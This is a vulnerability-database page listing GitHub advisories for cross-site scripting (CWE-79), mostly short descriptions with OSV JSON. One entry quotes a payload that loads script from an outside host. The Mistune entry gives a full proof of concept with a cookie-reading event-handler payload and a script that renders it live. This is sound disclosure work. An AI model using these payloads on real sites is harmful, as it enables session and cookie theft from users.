Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

66764 vulnerabilities reference this CWE, most recent first.

GHSA-V86F-VQ74-W87H

Vulnerability from github – Published: 2022-05-17 04:18 – Updated: 2022-05-17 04:18
VLAI
Details

Cross-site scripting (XSS) vulnerability in as/index.php in SweetRice CMS before 0.6.7.1 allows remote attackers to inject arbitrary web script or HTML via a top_height cookie.

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{
  "affected": [],
  "aliases": [
    "CVE-2010-5316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-01-03T11:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in as/index.php in SweetRice CMS before 0.6.7.1 allows remote attackers to inject arbitrary web script or HTML via a top_height cookie.",
  "id": "GHSA-v86f-vq74-w87h",
  "modified": "2022-05-17T04:18:14Z",
  "published": "2022-05-17T04:18:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5316"
    },
    {
      "type": "WEB",
      "url": "https://www.htbridge.com/advisory/HTB22667"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V86M-J5F7-CCWH

Vulnerability from github – Published: 2024-05-20 16:51 – Updated: 2024-05-20 16:51
VLAI
Summary
Passbolt Api E-mail HTML injection
Details

Passbolt sends e-mail to users to warn them about different type of events such as the creation, modification or deletion of a password. Those e-mails may contain user-specified input, such as a password’s title or description.

Passbolt does not escape the user’s input properly, resulting in the user being able to inject HTML code in an e-mail.

An authenticated attacker could share a password containing an img HTML tag in its description with an other user to obtain information about their mail user-agent.

This vulnerability has a very low impact. Most MUA do not embed remote images to protect their users’ privacy.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "passbolt/passbolt_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-20T16:51:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Passbolt sends e-mail to users to warn them about different type of events such as the creation, modification or deletion of a password. Those e-mails may contain user-specified input, such as a password\u2019s title or description.\n\nPassbolt does not escape the user\u2019s input properly, resulting in the user being able to inject HTML code in an e-mail.\n\nAn authenticated attacker could share a password containing an img HTML tag in its description with an other user to obtain information about their mail user-agent.\n\nThis vulnerability has a very low impact. Most MUA do not embed remote images to protect their users\u2019 privacy.",
  "id": "GHSA-v86m-j5f7-ccwh",
  "modified": "2024-05-20T16:51:20Z",
  "published": "2024-05-20T16:51:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/passbolt/passbolt_api/commit/00f0ebe37d78815adee26d5e80cf2250fe878647"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/passbolt/passbolt_api/2019-02-11-3.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/passbolt/passbolt_api"
    },
    {
      "type": "WEB",
      "url": "https://www.passbolt.com/incidents/20190211_multiple_vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Passbolt Api E-mail HTML injection"
}

GHSA-V86P-4J4H-2GJC

Vulnerability from github – Published: 2023-06-30 09:30 – Updated: 2023-06-30 09:30
VLAI
Details

A vulnerability was found in SimplePHPscripts Event Script 2.1 and classified as problematic. Affected by this issue is some unknown functionality of the file preview.php of the component URL Parameter Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. It is recommended to upgrade the affected component. VDB-232754 is the identifier assigned to this vulnerability.

Severity
3.5 (Low)
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-3475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-30T07:15:09Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SimplePHPscripts Event Script 2.1 and classified as problematic. Affected by this issue is some unknown functionality of the file preview.php of the component URL Parameter Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. It is recommended to upgrade the affected component. VDB-232754 is the identifier assigned to this vulnerability.",
  "id": "GHSA-v86p-4j4h-2gjc",
  "modified": "2023-06-30T09:30:20Z",
  "published": "2023-06-30T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3475"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.232754"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.232754"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V86Q-PM22-5W9H

Vulnerability from github – Published: 2024-04-19 00:30 – Updated: 2025-11-04 21:31
VLAI
Details

Cross Site Scripting vulnerability in DerbyNet v9.0 and below allows attackers to execute arbitrary code via the photo-thumbs.php component.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-30925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-18T22:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Cross Site Scripting vulnerability in DerbyNet v9.0 and below allows attackers to execute arbitrary code via the photo-thumbs.php component.",
  "id": "GHSA-v86q-pm22-5w9h",
  "modified": "2025-11-04T21:31:29Z",
  "published": "2024-04-19T00:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30925"
    },
    {
      "type": "WEB",
      "url": "https://chocapikk.com/posts/2024/derbynet-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Apr/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V86X-5FM3-5P7J

Vulnerability from github – Published: 2023-08-23 20:42 – Updated: 2023-09-01 17:34
VLAI
Summary
Alertmanager UI is vulnerable to stored XSS via the /api/v1/alerts endpoint
Details

Impact

An attacker with the permission to perform POST requests on the /api/v1/alerts endpoint could be able to execute arbitrary JavaScript code on the users of Prometheus Alertmanager.

Patches

Users can upgrade to Alertmanager v0.2.51.

Workarounds

Users can setup a reverse proxy in front of the Alertmanager web server to forbid access to the /api/v1/alerts endpoint.

References

N/A

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.25.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/alertmanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.25.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-23T20:42:43Z",
    "nvd_published_at": "2023-08-25T01:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker with the permission to perform POST requests on the /api/v1/alerts endpoint could be able to execute arbitrary JavaScript code on the users of Prometheus Alertmanager.\n\n### Patches\n\nUsers can upgrade to Alertmanager v0.2.51.\n\n### Workarounds\n\nUsers can setup a reverse proxy in front of the Alertmanager web server to forbid access to the /api/v1/alerts endpoint.\n\n### References\n\nN/A\n",
  "id": "GHSA-v86x-5fm3-5p7j",
  "modified": "2023-09-01T17:34:29Z",
  "published": "2023-08-23T20:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/alertmanager/security/advisories/GHSA-v86x-5fm3-5p7j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40577"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/alertmanager"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00011.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Alertmanager UI is vulnerable to stored XSS via the /api/v1/alerts endpoint"
}

GHSA-V876-F29W-V6CF

Vulnerability from github – Published: 2023-12-28 21:30 – Updated: 2023-12-28 21:30
VLAI
Details

A vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input "> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.

Severity
2.4 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-7136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-28T21:15:08Z",
    "severity": "LOW"
  },
  "details": "A vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input \"\u003e\u003cscript src=\"https://js.rip/b23tmbxf49\"\u003e\u003c/script\u003e leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.",
  "id": "GHSA-v876-f29w-v6cf",
  "modified": "2023-12-28T21:30:38Z",
  "published": "2023-12-28T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h4md153v63n/CVEs/blob/main/Record_Management_System/Record_Management_System-Blind_Cross_Site_Scripting-2.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.249139"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.249139"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V877-JX8X-6QR4

Vulnerability from github – Published: 2022-05-17 01:07 – Updated: 2025-04-12 12:55
VLAI
Details

Cross-site scripting (XSS) vulnerability in cgi-bin/webproc on ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allows remote attackers to inject arbitrary web script or HTML via the errorpage parameter.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-7252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-12-30T05:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in cgi-bin/webproc on ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allows remote attackers to inject arbitrary web script or HTML via the errorpage parameter.",
  "id": "GHSA-v877-jx8x-6qr4",
  "modified": "2025-04-12T12:55:17Z",
  "published": "2022-05-17T01:07:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7252"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/38773"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/391604"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/BLUU-9ZDJWA"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/77421"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V87F-V7FV-FRG2

Vulnerability from github – Published: 2024-09-09 00:31 – Updated: 2024-09-09 00:31
VLAI
Details

A vulnerability was found in SourceCodester Online Bank Management System and Online Bank Management System - 1.0. It has been classified as problematic. This affects an unknown part of the file /mfeedback.php of the component Feedback Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-8583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-08T22:15:02Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Online Bank Management System and Online Bank Management System - 1.0. It has been classified as problematic. This affects an unknown part of the file /mfeedback.php of the component Feedback Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-v87f-v7fv-frg2",
  "modified": "2024-09-09T00:31:03Z",
  "published": "2024-09-09T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8583"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Niu-zida/cve/blob/main/Storage-optimized%20Cross-site%20scripting%20vulnerability.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.276819"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.276819"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.404611"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V87H-6QR6-59FX

Vulnerability from github – Published: 2023-08-25 18:31 – Updated: 2024-04-04 07:13
VLAI
Details

An issue was discovered in Stormshield SNS 3.8.0. Authenticated Stored XSS in the admin login panel leads to SSL VPN credential theft. A malicious disclaimer file can be uploaded from the admin panel. The resulting file is rendered on the authentication interface of the admin panel. It is possible to inject malicious HTML content in order to execute JavaScript inside a victim's browser. This results in a stored XSS on the authentication interface of the admin panel. Moreover, an unsecured authentication form is present on the authentication interface of the SSL VPN captive portal. Users are allowed to save their credentials inside the browser. If an administrator saves his credentials through this unsecured form, these credentials could be stolen via the stored XSS on the admin panel without user interaction. Another possible exploitation would be modification of the authentication form of the admin panel into a malicious form.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-11711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-25T16:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Stormshield SNS 3.8.0. Authenticated Stored XSS in the admin login panel leads to SSL VPN credential theft. A malicious disclaimer file can be uploaded from the admin panel. The resulting file is rendered on the authentication interface of the admin panel. It is possible to inject malicious HTML content in order to execute JavaScript inside a victim\u0027s browser. This results in a stored XSS on the authentication interface of the admin panel. Moreover, an unsecured authentication form is present on the authentication interface of the SSL VPN captive portal. Users are allowed to save their credentials inside the browser. If an administrator saves his credentials through this unsecured form, these credentials could be stolen via the stored XSS on the admin panel without user interaction. Another possible exploitation would be modification of the authentication form of the admin panel into a malicious form.",
  "id": "GHSA-v87h-6qr6-59fx",
  "modified": "2024-04-04T07:13:06Z",
  "published": "2023-08-25T18:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11711"
    },
    {
      "type": "WEB",
      "url": "https://advisories.stormshield.eu/2020-011"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/_ACKNAK_"
    },
    {
      "type": "WEB",
      "url": "https://www.digitemis.com/category/blog/actualite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V87V-83H2-53W7

Vulnerability from github – Published: 2026-05-09 00:13 – Updated: 2026-06-08 23:30
VLAI
Summary
Mistune Heading ID Attribute has Injection XSS
Details

Summary

HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element.

The default TOC hook assigns safe auto-incremented IDs (toc_1, toc_2, …) that never contain user text. However, the add_toc_hook() API accepts a caller-supplied heading_id callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like #installation or #getting-started — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the id= attribute.

Details

File: src/mistune/renderers/html.py

def heading(self, text: str, level: int, **attrs: Any) -> str:
    tag = "h" + str(level)
    html = "<" + tag
    _id = attrs.get("id")
    if _id:
        html += ' id="' + _id + '"'    # ← _id is never escaped
    return html + ">" + text + "</" + tag + ">\n"

The text body (line content) is escaped upstream by the inline token renderer, which is why text arrives as &quot; etc. But _id arrives as a raw string directly from whatever the heading_id callback returned — no escaping occurs at any point in the pipeline.

PoC

Step 1 — Establish the baseline (safe default IDs)

The script creates a parser with escape=True and the default add_toc_hook() (no custom heading_id callback). The default hook generates sequential numeric IDs:

md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …

bl_src = "## Introduction\n"
bl_out, _ = md_safe.parse(bl_src)

Output — ID is auto-generated, no user text appears in it:

<h2 id="toc_1">Introduction</h2>

Step 2 — Add the realistic trigger: a text-based heading_id callback

Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, mkdocs, sphinx, jekyll all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:

def raw_id(token, index):
    return token.get("text", "")   # returns raw heading text as the ID

md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

Step 3 — Craft the exploit payload

Construct a heading whose text contains a double-quote followed by an injected attribute:

## foo" onmouseover="alert(document.cookie)" x="

When raw_id is called, token["text"] is foo" onmouseover="alert(document.cookie)" x=". This is passed verbatim to heading() as the id attribute value.

Step 4 — Observe attribute breakout in the output

ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n'
ex_out, _ = md_vuln.parse(ex_src)

Actual output:

<h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>

Note: the heading body text is correctly escaped (&quot;), but the id= attribute is not. A user who moves their mouse over the heading triggers alert(document.cookie). Any JavaScript payload can be substituted.

Script

A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.

#!/usr/bin/env python3
"""H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook

def raw_id(token, index):
    return token.get("text", "")

# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)

bl_file = "baseline_h2.md"
bl_src  = "## Introduction\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out, _ = md_safe.parse(bl_src)

print(f"[{bl_file}]\n{bl_src}")
print("[output — id=toc_1, no user content, safe]")
print(bl_out)

# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)

ex_file = "exploit_h2.md"
ex_src  = '## foo" onmouseover="alert(document.cookie)" x="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out, _ = md_vuln.parse(ex_src)

print(f"[{ex_file}]\n{ex_src}")
print("[output — heading_id returns raw text, id= not escaped]")
print(ex_out)

# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input — {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body>
<h1>H2 — Heading ID XSS (unescaped id= attribute)</h1>
<p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping.
Triggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p>
{case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)}
{case("exploit",  "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h2.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example Usage:

python poc.py

Once the script is run, open report_h2.html in the browser and observe the behaviour.

Impact

Dimension Assessment
Confidentiality Session cookie / auth token theft via JavaScript execution triggered on mouse interaction
Integrity DOM manipulation, phishing content injection, forced navigation
Availability Page freeze or crash available to attacker

Risk context: This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's heading_id callback without independently sanitising the returned value.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:13:12Z",
    "nvd_published_at": "2026-05-26T21:16:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output 